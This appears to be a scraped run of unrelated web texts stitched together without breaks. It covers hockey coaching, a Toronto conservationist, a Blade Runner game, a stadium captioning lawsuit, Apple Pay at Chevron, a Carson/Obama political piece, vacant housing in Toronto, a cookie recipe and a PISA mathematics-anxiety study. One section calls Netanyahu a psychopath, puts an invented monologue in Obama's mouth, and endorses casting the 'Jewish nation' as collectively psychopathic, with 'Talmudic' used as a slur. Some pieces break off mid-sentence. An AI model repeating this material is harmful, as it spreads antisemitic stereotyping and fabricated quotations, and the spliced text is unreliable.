Team China is also going to look very different going forward, because of practices Murphy and Morgan are bringing to the national team. In the past, China assembled its national team by taking the best regional team and allowing them to represent the country. It would be like Canada sending the Alberta provincial team to the Olympics.
“Our Motto is ‘One China’,” Murphy says. “We want to unite the country and keep the best players. It starts now, with an education process. It starts with building trust, building culture. That’s what we’re trying to do there. We’re dealing with a 25-year history of the way they did things, the old-school way. It’s gonna take time, but I’m optimistic, because they wanna win.
“And, hopefully winning is part of everyone’s mission in China. Because that’s what we’re setting out to do.”
Kunlun takes the ice this weekend in Markham, and Vanke in a week’s time, in Toronto. Win or not, we’ll be witnessing some of the first big steps toward that goal.Ceglarski had hired York in 1970 as his first assistant coach at Clarkson, but York was mostly relegated to the freshman team.
“I didn’t know back then how much he knew about hockey,” said Ceglarski, 90, still an avid follower of the program. “I had old-fashioned ideas. I regret I didn’t give Jerry more things to do. He had the brains for it.”
York, at 26, became the youngest coach in college hockey when he succeeded Ceglarski in 1972 after Ceglarski left for Boston College. After seven years in Potsdam, N.Y., he won 342 games in 15 years at Bowling Green, including the program’s only national championship, in 1984.
Once back home at Boston College, York endured losing seasons his first three years. Since then, he has won four national championships — the first in 2001 — and been to 12 Frozen Fours in the last 19 years. The keystones of his success are a relentlessly positive attitude and his faith in his players, said Wayne Wilson, who was part of York’s second recruiting class at Bowling Green and played on the 1984 title team.
“He had a structure, but he let us to play the game,” said Wilson, the coach at Rochester Institute of Technology the last 17 years. “Some players get paralyzed by a coach’s system, but he allowed us to be creative within the concept of the team.”
The former Eagle Greg Brown joined York’s staff in 2004, after a 12-year professional career.
“He accepts you immediately,” Brown said. “At my first practice, he said to me, ‘You take the power play.’ He gave me responsibility right away. He’s like that with everyone.”
As coach of an elite program, York attracts top recruits. There are 20 Eagles in the N.H.L., including the Flames’ Johnny Gaudreau and the Rangers’ Chris Kreider. York’s current roster has 12 N.H.L. draft picks, two of them first-rounders.Last January, Israeli news commentator and former politician Yossi Sarid published an article entitled, “This Israeli Politician is a Psychopath. Guess Who.” This is basically an easy question.
If you are new to VT, here is a clue: the article rhetorically asked, “Could the various Knesset slates be housing people who should be receiving [psychiatric] treatment?”[1]
The article moves on to provide some definitions of a psychopath based on the Diagnostic and Statistical Manual of Mental Disorders, published by the American Psychiatric Association.
One of the definitions includes, “Repeated lying for the purpose of gratification, confusing reality and imagination.” The article proceeds to ask, “Do three or more characteristics remind you of anybody?”[2]
The Sarid did not point his finger to a specific person, but in a subsequent article, it was pretty obvious that he was talking about Benjamin Netanyahu,[3] who has a long history of lying[4] “for the purpose of gratification.”
Sarid was not the only writer who saw that Netanyahu was quickly precipitating to the psychopathic level. Journalist Pepe Escobar wrote in 2013:
“Iranian missiles will hit New York in ‘three to four years.’ A nuclear Iran is like ‘50 North Koreas.’ This could be the sound of a deranged, dangerous sociopath, or this could be the sound of Israeli Prime Minister Benjamin ‘Bibi’ Netanyahu addressing the UN General Assembly.
“Compare for yourself. Last week we had Iranian President Hassan Rouhani calling for the world to surf a WAVE (as in World Against Violence and Extremism). This week we had Bibi saying that was a ‘cynical’ and ‘totally hypocritical honey trap.’
“Israel has disrespected no less than 69 UN Security Council resolutions and has been ‘protected’ from no less than 29 more, courtesy of US vetoes.
“It has been occupying sovereign territory of Lebanon and Syria without giving a damn to UN Security Council resolutions.
“Israel signed the Oslo Accords promising to stop building for good, any new settlements in Palestine. Instead, it has built over 270 new settlements. This is part of the slow motion ethnic cleansing of Palestine over the past six decades.
Israel has been threatening to bomb Iran on a weekly basis for at least three decades.
“Israel is an undeclared nuclear power with as many as 400 nuclear warheads; refuses to sign the nuclear non-proliferation treaty (NPT); bars international inspections; never ratified the Chemical Weapon Convention Treaty; used chemical weapons on Gaza; and holds an undeclared stockpile of chemical weapons larger than any other nation in the Middle East.
“Iran, on the other hand, has no nuclear warheads. Iran has signed the NPT and is inspected on a regular basis. Iran has not invaded another country for at least 250 years. Iraq under Saddam Hussein invaded Iran in 1980, but Iran did not occupy Iraqi territory.”[5]
According to those observers, Netanyahu is certainly a sick man. Perhaps the Obama administration is aware of that, and perhaps this has been one reason why they have withheld classified information from this man.[6] Perhaps Obama is saying,
“You know what? This man is pretty much dangerous to society and to himself, therefore it behooves us to withhold certain information from him. If he knows that we are trying to come up with a peaceful resolution with Iran and that peaceful resolution won’t be in his favor, he probably will take a jump in the middle of the night or do something equally weird.
“We stop psychopaths in the United States from killing themselves on many occasions, so it would be humane to help this man—if we can. If he plans to take that jump in the middle of the night, that would be out of our hands, and we wish him luck and farewell.
“Yes, Netanyahu is a chickenshit, but his blood pressure would go through the roof if we tell him that the Israeli regime is not worth a dime. In fact, our former Secretary of State Robert Gates concluded after years of working with the regime that Israel is indeed an ungrateful ally. We still agree with that fair and reasonable opinion.
“In 2010, I told a fundraiser for potential Jewish donors that Israel and Washington’s relations were unshakable. I spoke too soon. Jonathan Weber of Y-Net News was right: I ‘share little chemistry’ with Netanyahu. And if Netanyahu continues with this pattern, I will have to throw in the towel.”
“If Netanyahu starts acting like a gentleman or a man of reason, I will start calling him a brother. But for now he is still chickenshit. He can take that to the bank.”
Three weeks ago, Kevin Barrett published an article written by French scholar Laurent Guyenot entitled, “Israel, the psychopathic nation.” Building on the work of Robert D. Hare of the University of British Columbia (we have written about him last July), the article argues that Israel exhibits signs of a psychopathic nation. Guyenot writes,
“The Jewish nation, as a state, but also as an organized world community, acts collectively towards other nations and other human communities in the way a psychopath acts towards his fellow men.”
Guyenot, however, makes it clear that
“I do not intend to imply that ‘the Jews’ are psychopaths, but instead that they are the first victims of a mental straitjacket imposed by their elites, who through veritable intellectual terrorism, make of them, to the extent that they comply, the instruments of the collective psychopathy of Israel.”
We would agree with this assessment. To cite again Hare, “The most obvious expressions of psychopath—but by no means the only ones—involve flagrant violation of society’s rules.”
From a secular standpoint, this description fits perfectly well with Benjamin Netanyahu’s persistent behavior. This is why he continues to be on a “collision course with [the] White House over Iran” because Netanyahu constantly violates international rule. He builds a standard for himself and uses a completely different standard for everyone else.
For example, Iran has consistently followed international law with respect to its nuclear program, and even the IAEA has recently concluded after a long study that “Iran has stopped questionable nuclear centrifuge testing.”
But that again is not enough for Benjamin Netanyahu. He wants something more—something Talmudic and not essentially Western or logical, which means that he wants to split Iran into different particles. The Jerusalem Post itself reported,
“The International Atomic Energy Agency said that Iran has refrained from expanding tests of more efficient models of a machine used to refine uranium under a nuclear agreement with six world powers, allaying concerns it might be violating the accord.
“Netanyahu, however, released a statement insisting that the report indicates Iran continues to be engaged in obfuscation.
“‘The IAEA report again notes that Iran is refusing to reveal to the world its preparations for the production of nuclear weapons,’ Netanyahu said.
“‘Iran insists on hiding this from the international community at a time when the major powers are continuing to try and allow Iran to produce the core of such weapons, enriched uranium. These do not go together.’”[7]
What kind of evidence will this man accept? IAEA officials went to Iran, looked at the facilities to find suspicious activities and found none, but then Netanyahu is telling us that the bomb must be there somehow!
Did Netanyahu really want IAEA officials to build a bomb and argue that it was Iran’s? Or did he want those officials to bring with them Netanyahu’s own cartoon and present it to the UN as evidence that Iran was building a nuclear bomb?
What is so pathetic is that Israel is hiding hundreds upon hundreds of nuclear war |
s said his grandfather could be an imposing, no-nonsense guy who had “enthusiasm on Red Bull.” Years before he died, he moved close to 4,000 photos, negatives and boxes full of his writing to the Toronto Archives. The collection showed a wild Don Valley few remember. Bonnell read through his collection and had an “ambivalent relationship” with her subject. At times, she was irritated by his assertions that his work would be valued by future generations — and there she was, poring over his work. His name is attached to a school and conservation areas, and he was awarded the Order of Canada, but most Torontonians don’t know who he is, or how hard he fought, albeit unsuccessfully, to keep the valley from turning into a highway, Bonnell says. “Even though you have valley parklands that are now considered so valuable to the city, he was disgusted with … the loss of his beloved places, and the general direction the city was moving in.” He counted Sept. 6, 1989, as the most rewarding day of his career: the dedication of the Charles Sauriol Conservation Reserve, stretching from the forks of the Don to Lawrence Ave. At the time, the Star called the landscape “virtually impenetrable.” “As far as them naming it after me, I couldn’t care less,” Sauriol had earlier said. But he was honoured. “In 1927, Charles Sauriol acquired part of the de Grassi tract. From that date, he dedicated himself to the preservation of the Don Valley’s natural resources,” The plaque at the site reads. “His lifelong determination and dream of the east valley of the Don protected as a publicly owned conservation reserve became a reality on September 6, 1989.” Sauriol suggested the text himself. Remembering bliss in the Don Denise Flys, 81 walks out of her country home north of Nobleton wearing a flannel shirt and jeans. She is one of the little girls swimming in the Don in those old black and white photos. Her hair is white, and she looks so much like her father. “It goes so fast,” she says looking through the photos.
Denise Flys, 81, is the eldest of Charles and Simonne Sauriol's four children. Growing up, Denise spent her summers at the Don Valley cottage and has her father's appreciation for conservation. ( Katie Daubs )
She has lived here with her husband, John, for more than 50 years. Her acres are covered by trees and wildflowers. Her father made a point of knowing all the names, but she is an artist and sees them differently — “that looks like a good tree to paint,” she says, smiling. Inside her house, she has a studio filled with colourful canvases and a computer chair speckled with paint, pictures of her father on the wall, scenes of the valley lining the walls. All around her, farm land is being swallowed by big homes with granite countertops, stainless steel appliances and polished tile floors. They had to call the water truck three times in August because the well ran dry. She never thought about conservation like her dad did when she was younger, but it has always been a part of her life — and it’s more important than ever. “As years go by, you think, ‘What is going on? We’re going to lose all the good stuff we had,” she says. Her father loved the little things that connected people to nature, and he fought for the big things — the green spaces. At the close of his first summer at the Don Valley cottage, he wrote about how hard it was to say goodbye. With summer’s heat the weeks sped by, And springtime streams did all but dry. But days grew short and followed on, Oh, blissful memory of the Don. Of you we think with saddened heart, Our time is up and we must part. Her land feels wild with bees, butterflies and frogs plying their trade in the back acres. A garter snake slithers near her feet and she is careful to step around it. At the very back of her property, the large brick homes loom. What would her dad think about that? She smiles. Not much.
Read more about:Not all memories are lost in time.
You still have a week before “Blade Runner 2049” arrives in theaters, which is nothing when you consider the fact that the original film was released a full 35 years ago. In between those two films came a 1997 computer game that allowed players to point and click their way through 2019 Los Angeles, though Harrison Ford’s Rick Deckard doesn’t appear.
Taking his place is a detective named Ray McCoy in this “sidequel,” which was well received 20 years ago but has since been lost in time — not unlike tears in rain, you might say.
Belonging to a genre — and era — of games that hasn’t enjoyed the same level of nostalgia-based remakes as certain 8-bit franchises, “Blade Runner” was cut from similar cloth as “Grim Fandango,” “Myst,” and “Sanitarium.” The point-and-click style was limiting but also inspired a great deal of creativity from intrepid developers skilled at maximizing its potential. McCoy’s case takes place concurrently with Deckard’s, though he’s hunting down replicants who’ve been killing animals rather than humans — an egregious offense, as most of our four-legged friends are extinct in this dystopian vision of the future.
“You are Ray McCoy, a rookie Blade Runner,” onscreen text tells us as the game begins. “Usually, you’re assigned to false leads and public complaints. But a rash of replicant detections and your new lieutenant have given you the chance to investigate an especially vicious case of animal murder. Most people in L.A. 2019 wouldn’t think of killing one of the precious few real animals left. Replicants may be involved.”
There are 13 possible endings to this story, and the player’s actions determine which one McCoy receives. He’s a human in some, a replicant in others, and unknown in others still.A University of Kentucky football season ticket holder with a hearing impairment has gone to federal court to try to get UK to display captioning on the video boards and video monitors throughout Commonwealth Stadium.
Charles Mitchell of Lancaster says in a complaint filed Wednesday in U.S. District Court in Lexington that he cannot hear announcements on the stadium's public address system and that captioning can be displayed on the video boards and monitors.
He says UK, by not providing captioning, is violating the Americans With Disabilities Act of 1990. He notes in the complaint that UK receives funding from the federal government.
The suit names UK and its president, Lee T. Todd Jr., as defendants.
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"We have no comment at this time, as this is a matter that is being litigated," UK spokesman Jay Blanton said.
Mitchell, who says he regularly attends UK home football games, says in the complaint he sent an email to UK in early March requesting captioning be provided at Commonwealth Stadium for home football games, and UK has not responded to his request. He says UK previously denied at least one other such request from "individuals who are deaf or hard of hearing."
Mitchell asks in the complaint for the court to declare UK is violating his rights and to issue a permanent injunction ordering UK to stop discriminating and provide deaf or hard of hearing people with equal access to its facilities, programs, services and activities.
Mitchell wants captioning displayed for all announcements over the stadium's public address system, including all plays just after they occur, all penalties called, and safety and emergency information.
He also wants UK to develop written policies and procedures to ensure captioning is provided on its video boards and video monitors.
Mitchell wants compensatory damages and his attorneys' fees and court costs paid by UK.@kevinkeitai 18060 San Ramon Valley Blvd in San Ramon accepts NFC including Apple Pay at the dispenser now. Cupertino coming soon! — Chevron (@Chevron) July 14, 2015
Chevron has kicked off an Apple Pay pilot program in the Bay Area that allows customers to use Apple Pay to pay for their gasoline directly at the pump, according to the company's Twitter account. Apple Pay can currently be used at a Chevron location in San Ramon, with a second location in Cupertino becoming available in the near future.Chevron first announced plans to expand its use of Apple Pay to gas pumps in late 2014, but company did not have a clear timeline for the rollout of Apple Pay at the pump. Following the pilot program testing, it's likely Chevron will expand Apple Pay to other locations across the United States.Though support for Apple Pay at the pump is just now rolling out, Chevron was listed as an early Apple Pay partner. The payments service is supported at Chevron and Texaco gas stations, but can only be used at the in-store cash register, a considerably less convenient option than paying right at the pump.Apple Pay, which recently expanded to the United Kingdom, has been adopted at more than 700,000 locations across the United States. Dozens of major retailers support the payments service, with more retailers adding Apple Pay payment options each month.This week, liberals savagely mocked Housing and Urban Development Secretary Ben Carson for allegedly comparing slaves to immigrants. It looks like they’ve completely forgotten about all the times Barack Obama did the exact same thing.
While speaking to a group of employees at his department on Monday, Carson said: “There were other immigrants who came in the bottom of slave ships, who worked even longer, even harder, for less, but they too had a dream that one day their sons, daughters, grandsons, granddaughters, great grandsons, great granddaughters might pursue prosperity and happiness in this land.”
His comment quickly ignited a firestorm among critics.
Ben Carson is also the guy who once compared Obamacare to slavery. I'm starting to think he may not understand the word "slavery." https://t.co/82PJcUC7Vg — Keith Boykin (@keithboykin) March 6, 2017
The funny thing is, Obama has made very similar comments numerous times in the past. Here are eleven of them.
1. At a Naturalization Ceremony in 2015
While addressing a crowd at the National Archives and Records Administration in 2015, Obama said this.
Lots of nastiness directed @RealBenCarson – but in 2015 President Obama also referred to the slaves as immigrants https://t.co/0sinrwgQs3 pic.twitter.com/OSzfbrweHb — Charlie Spiering (@charliespiering) March 7, 2017
2. At a Naturalization Ceremony Three Years Earlier
In a speech at a naturalization ceremony in 2012, then-President Obama said this about slave ships:
We say it so often, we sometimes forget what it means — we are a nation of immigrants. Unless you are one of the first Americans, a Native American, we are all descended from folks who came from someplace else — whether they arrived on the Mayflower or on a slave ship, whether they came through Ellis Island or crossed the Rio Grande.
It’s a line he has used often in his speeches throughout his tenure in office, with slight variations.
3. At A DNC Event on April 28, 2011
Obama had this to say while addressing a crowd at an event hosted by the Democratic National Committee on April 28:
I want a confident America where, yes, everybody makes sacrifices, but nobody bears all the burden, and we live up to the idea that no matter who we are, no matter what we look like, no matter whether our ancestors landed on Ellis Island or came here on a slave ship or crossed the Rio Grande, we are all connected to one another. We rise and fall together.
4. At Commencement Speech One Day Later
While delivering a commencement speech at Miami-Dade College April 29, 2011, Obama repeated the line above, but with a bit of a twist:
We didn’t raise the Statue of Liberty with its back to the world; we raised it with its light to the world. Whether your ancestors came here on the Mayflower or a slave ship; whether they signed in at Ellis Island or they crossed the Rio Grande — we are one people.
5. At a DNC Event in Harlem, March 29, 2011
Then-President Obama said:
And so what we wanted to do was adapt to the times, adapt to the 21st century, but also remind ourselves that there are some old-fashioned, timeworn values; that whether your forebears landed at Ellis Island or they came here on a slave ship or they crossed the Rio Grande, or however they got here, they typically had a commitment to hard work and a commitment to community and a commitment to family and a willingness to dream big dreams, and a patriotism that was not rooted in ethnicity but was rooted in a creed and a set of ideals and a belief that in America anything was possible.
6. At Another DNC event in California, April 22, 2011
Obama said:
My vision is for one where we’re living within our means but we’re still investing in our future, and everybody is making sacrifices and nobody bears all the burden, and we live up to the idea that no matter what you look like or where you come from, whether you landed here — your ancestors landed here on Ellis Island or they came here on a slave ship, or they just came over the Rio Grande, that we are all connected to one another and we all rise and fall together.
7. Another DNC Event in Austin, Texas on May 10, 2011
He said:
That’s our vision of America. It’s not a vision of a small America. It’s a vision of a big America, a bold and optimistic America, an America that does big things. It’s a vision where we’re living within our means but we’re still investing in our future; where everybody is making sacrifices, but nobody alone bears all the burden; where we live up to the idea that no matter who you — what you look like, or who you are, no matter whether your ancestors landed on Ellis Island or came over here on a slave ship or crossed the Rio Grande, that we’re all connected to one another, and that we rise or fall together.
8. Another DNC Event in Boston, Eight Days Later
Obama said:
No matter what we look like, where we come from, what God we worship to, no matter whether our ancestors landed on Ellis Island or came here on a slave ship or crossed the Rio Grande, we believe that we are all connected and we rise and fall together. And that is a strength. That is the strength of America. That’s the heart of the idea of America. That’s the heart of the idea of our campaign.
9. Another DNC Event in Philadelphia, June 30, 2011
Obama said:
And the good news is that America is possible — an America where we’re living within our means, but we’re still investing in the future. That’s possible. Where everybody is making sacrifices, but nobody bears all the burden by themselves. The idea that no matter what we look like or who we are, no matter whether our ancestors came from Ellis Island or on a slave ship, or across the Rio Grande, that we are all connected to one another, and that we rise and fall together.
10. At a Gala for the Congressional Hispanic Caucus, September 2011
At the Washington D.C. event, Obama said this:
It’s a vision where we live within our means, but we invest in our future; where everybody makes sacrifices, but nobody has to bear the burden alone, and everybody shares in our success; where we live up to the idea that no matter what you look like, no matter where you come from, no matter what your surname — whether your ancestors landed at Ellis Island, or came over on a slave ship, or crossed the Rio Grande — we are all connected, and we all rise and fall together.
11. And at a Forum on American Latino Heritage, October 2011
While addressing a crowd at the Department of the Interior in Washington DC, Obama said:
And here in America, we are united by more than the color of our skin or the language that we speak. We are joined together by a shared creed, a shared set of values. We’re connected by the future we want for ourselves and our children. And we determine our own destiny here. Whether your ancestors came from a — came over on a slave ship, or crossed the Rio Grande, or were here long before the country was founded, we’re in this together. And we have the opportunity right now to determine our own destiny.
Next time progressives decide to skewer a Republican for saying something, it would behoove them see if President Obama has said the exact same thing. Or, at least, stop pretending not to know what Ben Carson is talking about.It's old and shabby and sits beside a vacant lot, but 230 Sherbourne once had cachet. The stately red home was built in 1872 for a furrier and his family, and its gables and terracotta trim are a reminder of the downtown east side's former prosperity.
A rooming house for decades, it now sits empty and forlorn, facing a church where the neighbourhood's less fortunate congregate for meals. On September 22, though, it got lots of company when Ontario Coalition Against Poverty activists held a short-lived occupation of the property in an attempt to call attention to the area's rapidly disappearing housing for the poor.
After scaling the house to hang banners on its exterior, the group set up a barbecue and sound system on the vacant lot to the south - property owned by the same landlord - and within hours were evicted by police.
The organizers' message was to the city: expropriate vacant buildings in gentrifying areas, turn them into affordable housing, and put 230 Sherbourne first on the list. Isn't there a moral responsibility to maintain space for the dispossessed in transitioning neighbourhoods, they asked?
"The building is a flashpoint for the neighbourhood," says OCAP's John Clarke. "In 1985, Drina Joubert froze to death outside that house in an abandoned truck, so we chose to make it a symbol."
OCAP points out that in 2010 the city used its powers of expropriation to take over 1495 Queen West to create Edmond Place in needy Parkdale, though unlike 230 Sherbourne, that building had been abandoned.
The group is not impressed by the distinction between an abandoned building and a vacant one, saying no structure should be boarded up during an affordable housing crisis.
But expropriation can be a very long process, says Gil Hardy of the city's Affordable Housing Office. "So it's not the most efficient way of creating affordable housing. In the case [of Edmond Place], the building had been gutted by a fatal fire and then stood vacant for 10 years. Expropriation was a way of not only facilitating affordable housing but also improving the neighbourhood."
Certainly, the owner of 230, Bhushan Taneja, was shocked by the OCAP bid. "I felt there was no law and order in the country," says Taneja, whose large real estate portfolio includes other rooming houses. "How did they dare to ask [for expropriation]?"
Taneja had initially planned to tear down 230, but a last-minute heritage order forced him to keep it standing. A more recent order compelled him to make repairs. Last week, workers were fixing holes in the roof and battling a raccoon infestation.
Taneja does not want to discuss his plans for the properties. In 2009 he applied to the city to put a high-rise on two vacant lots south of 230.
With real estate prices soaring, rooming-house landlords are increasingly closing their doors, preferring to make money from rising property values. As spaces decline, decent private rooms have gone up to $400 and $550 per month - no small sum for someone living on day-labour wages or government help.
But while there's no political appetite to go after empty buildings, the idea of expropriation as policy has made the rounds before. A 2008 study for U of T's Cities Centre recommended a use-it-or-lose-it bylaw that would define abandonment and outline consequences, including expropriation for housing. At that time, it said there were "hundreds" of abandoned buildings in Toronto.
The idea resurfaced in a report adopted by council in 2009, though as Hardy points out, no further work was done. Properties, he says, often appear abandoned but aren't; sometimes they sit empty while owners amass other buildings for redevelopment, or are caught up in legal red tape after a death.
David Wachsmuth, a PhD student and co-author of the Use It Or Lose It report, says the challenge is to create "incentives for landlords so that instead of keeping buildings vacant, it would be more rational to use them.
"In doing research, there was evidence of landlords sabotaging their buildings so they could get permits to tear them down," he says. "That might be good for a developer, but it's not good for the citizens of Toronto."
Michael Shapcott, the Wellesley Institute's director of affordable housing and social innovation, has a similar take. He says there are plenty of reasons why expropriating empty houses might be logical, such as improving the look of a neighbourhood or improving safety by preventing fires caused by squatters using candles.
But he says a more saleable tactic is for the city to reinvent the way it uses its tax code. "Instead of a low tax rate on abandoned buildings, you could reverse that and say we're going to impose the highest tax rate," he says.
With about 90,000 families on the wait list for affordable housing, a mayor focused on subways, and a federal government that barely bats an eye at Toronto, the housing problem is hard to overstate, says local councillor Kristyn Wong-Tam. A good start would be converting vacant provincially owned properties like 26 Grenville and 27 Grosvenor to housing, something Wong-Tam has petitioned Ontario to do.
"I'm prepared to do the work that needs to be done, but I can't expropriate someone's land," she says.
Plus, there's another issue. When public housing spaces do open up, recipients often have to relocate across town, which can take a large social toll, according to David Reycraft, director of homelessness and housing services at Dixon Hall.
Ensuring that poor people remain in their own neighbourhoods plays a key role in the success of keeping them off the streets, he says. "Homeless men and women have a real sense of community that is lost on the rest of us."
news@nowtoronto.comBerry season is here! And it would be a shame to let all those pretty, organic berries go to waste. One of my all time favorite cookies is the raspberry almond thumbprint. Traditionally, they are made with a sugary raspberry jam, and lots of flour, butter and sugar.
But we aren’t traditional over here, are we?
That’s why I created this gluten-free, refined sugar free raspberry almond thumb print cookie made with chia seed jam.
If you haven’t made chia seed jam yet (seriously what have you been waiting for?!) then you must start now. It is so freaking delicious, and you can put it on juuuust about everything-oats, gluten-free toast, coconut yogurt.
Or just eat it on a spoon with almond butter.
Don’t judge.
Raspberry Almond Thumbprint Cookies
Bake time– 10-12 minutes
Yield: 12 cookies
Ingredients:
Chia Seed Jam:
1 cup washed organic raspberries
1 tablespoon chia seeds
1 tablespoon lemon juice
1 tablespoon water
3 tablespoons maple syrup
Cookies:
1 1/2 cups almond flour
1/2 cup all purpose gluten free flour
3/4 cup coconut sugar
1 egg (to make vegan replace with flax egg or chia seed egg. I have not personally tried this, but it should work!)
1/4 cup melted coconut oil
1/4 teaspoon sea salt
1 tablespoon vanilla extract
Instructions:
Preheat oven to 350 degrees. To make chia seed jam, place all jam ingredients in blender and blend until smooth. Place in glass or BPA-free plastic jar and put in fridge overnight or at least for 3 hours. For cookies, place oil, egg, coconut sugar, and vanilla in bowl and whisk together. In a separate bowl, combine flour and salt. Then slowly combine the wet and dry ingredients. Chill cookie dough in fridge for 30 minutes. Make cookie dough into 1-inch balls and place on cookie sheet lined with parchment paper. Press your thumb into each cookie Fill your thumbprint with the raspberry chia seed jam. Bake in oven for 10-12 minutes, or until slightly brown on edges. Let cool and enjoy!
xxxxx
Health Coach Jenna
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FacebookDespite international advancements in gender equality across a variety of societal domains, the underrepresentation of girls and women in Science, Technology, Engineering, and Mathematics (STEM) related fields persists. In this study, we explored the possibility that the sex difference in mathematics anxiety contributes to this disparity. More specifically, we tested a number of predictions from the prominent gender stratification model, which is the leading psychological theory of cross-national patterns of sex differences in mathematics anxiety and performance. To this end, we analyzed data from 761,655 15-year old students across 68 nations who participated in the Programme for International Student Assessment (PISA). Most importantly and contra predictions, we showed that economically developed and more gender equal countries have a lower overall level of mathematics anxiety, and yet a larger national sex difference in mathematics anxiety relative to less developed countries. Further, although relatively more mothers work in STEM fields in more developed countries, these parents valued, on average, mathematical competence more in their sons than their daughters. The proportion of mothers working in STEM was unrelated to sex differences in mathematics anxiety or performance. We propose that the gender stratification model fails to account for these national patterns and that an alternative model is needed. In the discussion, we suggest how an interaction between socio-cultural values and sex-specific psychological traits can better explain these patterns. We also discuss implications for policies aiming to increase girls’ STEM participation.
Introduction
Historically, girls have had fewer educational opportunities than boys, especially within the domains of Science, Technology, Engineering, and Mathematics (STEM)[1]. Through changes in social attitudes, especially in highly developed nations, opportunities have improved and girls’ and women’s participation in STEM subjects has increased, although not to the level of boys’ and men’s participation. The exact reasons for this disparity in participation are currently unknown; while some researchers have vigorously argued that girls are still negatively affected by gender-specific stereotypes [2–5], others have argued that most structural barriers keeping girls out of STEM have now been removed [6]. Apart from these social factors, however, a variety of psychological factors may contribute to the avoidance of these academic domains in general, as well as contribute to the continued underrepresentation of women in these fields (e.g., [7, 8]). In particular, we focus on the potential contributions of sex differences in mathematics anxiety to the lack of equal representation in STEM pursuits. (We use the word “sex” to refer to the sex of participants, male or female. In this study, we do not distinguish between the concepts “sex” and “gender” as some social scientists do, and both these terms could be used interchangeably in the context of our paper.)
In terms of performance, girls score lower than boys on mathematics tests in most developed nations [9]. While the overall international average between boys and girls is relatively small (around 0.12 standard deviation), the difference is larger among higher achieving students [9–11]. And indeed, there are few women among the top performers in mathematics [9, 12–14]. While some researchers have repeatedly stated that the sex difference in mathematics performance is negligibly small [15, 16] (the view that sex differences are mostly very small or non-existent is most prominently expressed in “the gender similarity hypothesis” [17], for a critical response see [18]), it is nonetheless the case that this difference is relevant; one of the main psychological and educational research aims is to determine which factors can explain the sex difference in mathematics performance (which is reflected in the large number of studies on this topic published each year). Thus even when overall sex differences in mean levels of mathematics performance are relatively small, there is a continuing debate about these differences. Moreover, the magnitude of these differences increases with increases in levels of performance, which is more relevant to STEM participation than are differences at the mean.
Mathematics anxiety is a psychological factor that can undermine the pursuit of mathematics, and refers to the negative feelings (affect) experienced during the preparation of and during explicit engagement in mathematical pursuits. This construct is related to a host of negative academic outcomes, including lower enjoyment in the domain, lower intent to pursue and excel in mathematics, lower mathematics-related self-efficacy, and poorer mathematical achievement throughout the academic career [19–25]. As such, individuals who report experiencing mathematics anxiety are more likely to disengage from practice with mathematical concepts and procedures, which could have negative long-term economic consequences for them, including fewer career prospects and lower earning potential relative to those who do not experience mathematics anxiety [26–28].
Mathematics anxiety has a neural signature that distinguishes it from other non-cognitive constructs (e.g., self-concept) that could influence engagement in mathematics. (Non-cognitive variables often have a cognitive component, and the distinction between cognitive and non-cognitive variables is not an all-or-none distinction [29]). Recent neuroimaging studies reveal that increases in self-reported mathematics anxiety are associated with neural activation patterns suggestive of learned fear responses in young children [25, 30], and also that the simple anticipation of mathematical problem solving (in contrast to anticipation of language-based problem solving) is neurally equivalent to the anticipation of physical harm in adults [31]. Thus, while related to various other psychological constructs it appears that mathematics anxiety is a conceptually and empirically distinct phenomenon that represents a true negative emotional, even fearful, response to mathematical pursuits [32, 33]; this reaction to mathematics is believed to foster active avoidance of the domain, and by extension avoidance of STEM fields that are highly reliant on mathematical skills [28].
Importantly, it is well established that girls and women report greater trait mathematics anxiety than do boys and men [2, 21, 34–39], which may contribute to the lower participation of women than men in college majors and career paths that involve mathematics (e.g., [7]). Given recent interest in the examination of teacher and parental influences on the development of mathematics anxiety [7, 40], our study focuses specifically on the question of how sex differences in mathematics anxiety are related to societal and family variables. We do so using data from the Programme for International Student Assessment, PISA, the world’s largest international comparison of student achievement in 15-year olds [41, 42] (see Materials and Methods for details).
Sex differences in mathematics anxiety The study of mathematics anxiety has both theoretical and practical significance. Theoretically, mathematics anxiety lies at the intersection of cognition and affect; it is anxiety about one’s cognitive aptitude and performance within the mathematics domain and can be distinguished from generalized anxiety [25]. Practically, reducing mathematics anxiety has the potential to increase engagement with mathematics and so might indirectly increase the diversity of the STEM workforce (e.g., [43–45]). The general idea is that girls do not perform as well as they could and participate less in STEM, in part, because of their higher levels of mathematics anxiety (compared to boys). Various surveys and academic studies have reported that the average level of mathematics anxiety is higher in some countries than others [15, 41, 42]. This cross-national variation may provide useful insights into the factors underlying the development of mathematics anxiety. Indeed, many researchers have argued that certain social and cultural factors might exacerbate girls’ and women’s mathematics anxiety and undermine their mathematical performance (e.g., [7]). A prominent version of the argument that social and cultural factors negatively affect women’s mathematics performance and affect is the gender stratification hypothesis (or theory) [15, 46–48]. The prominence of this hypothesis is reflected, for example, in the fact that the papers by Else-Quest et al. [15] and by Guiso et al. [48] are marked as highly cited papers in the Web of Science database and has generally influenced academic’s opinion about gender equality (e.g., [49]). The essence of the hypothesis is that the observed sex differences in performance and affect are the result of a lack of societal opportunities (e.g., in education, access to resources, finances, etc). The core prediction is that sex differences in psychological abilities, affect, and outcomes will fade as social barriers to women’s participation disappear—that is, as social beliefs regarding historically male-dominated domains fade and opportunities for men and women become more equal. One key mechanism is children’s relationship with their parents, including expectations and beliefs about the mathematical potential of boys and girls, and the number of mothers serving as role models for their daughters within the STEM fields [15]. Else-Quest and colleagues [15] tested associated predictions of this hypothesis using the 2003 PISA, and found that the higher the proportion of women employed in a country’s research sector the smaller the sex differences in mathematics achievement and mathematics anxiety. At the same time, the gender-stratification hypothesis fails to account for important empirical findings. For example, Else-Quest and colleagues [15] reported that girls in the 2003 PISA data had relatively higher levels of mathematics anxiety than boys in more gender equal countries, contra the hypothesis. In other words, girls in highly gender equal countries, such as Norway and Germany, have relatively higher levels of mathematics anxiety than do boys in those countries, whereas girls and boys in less gender equal countries, such as Mexico and Italy, do not differ as much in mathematics anxiety. Else-Quest et al. [15] dealt with this contradiction by proposing the addition of a number of auxiliary hypotheses to the gender-stratification model (details below).
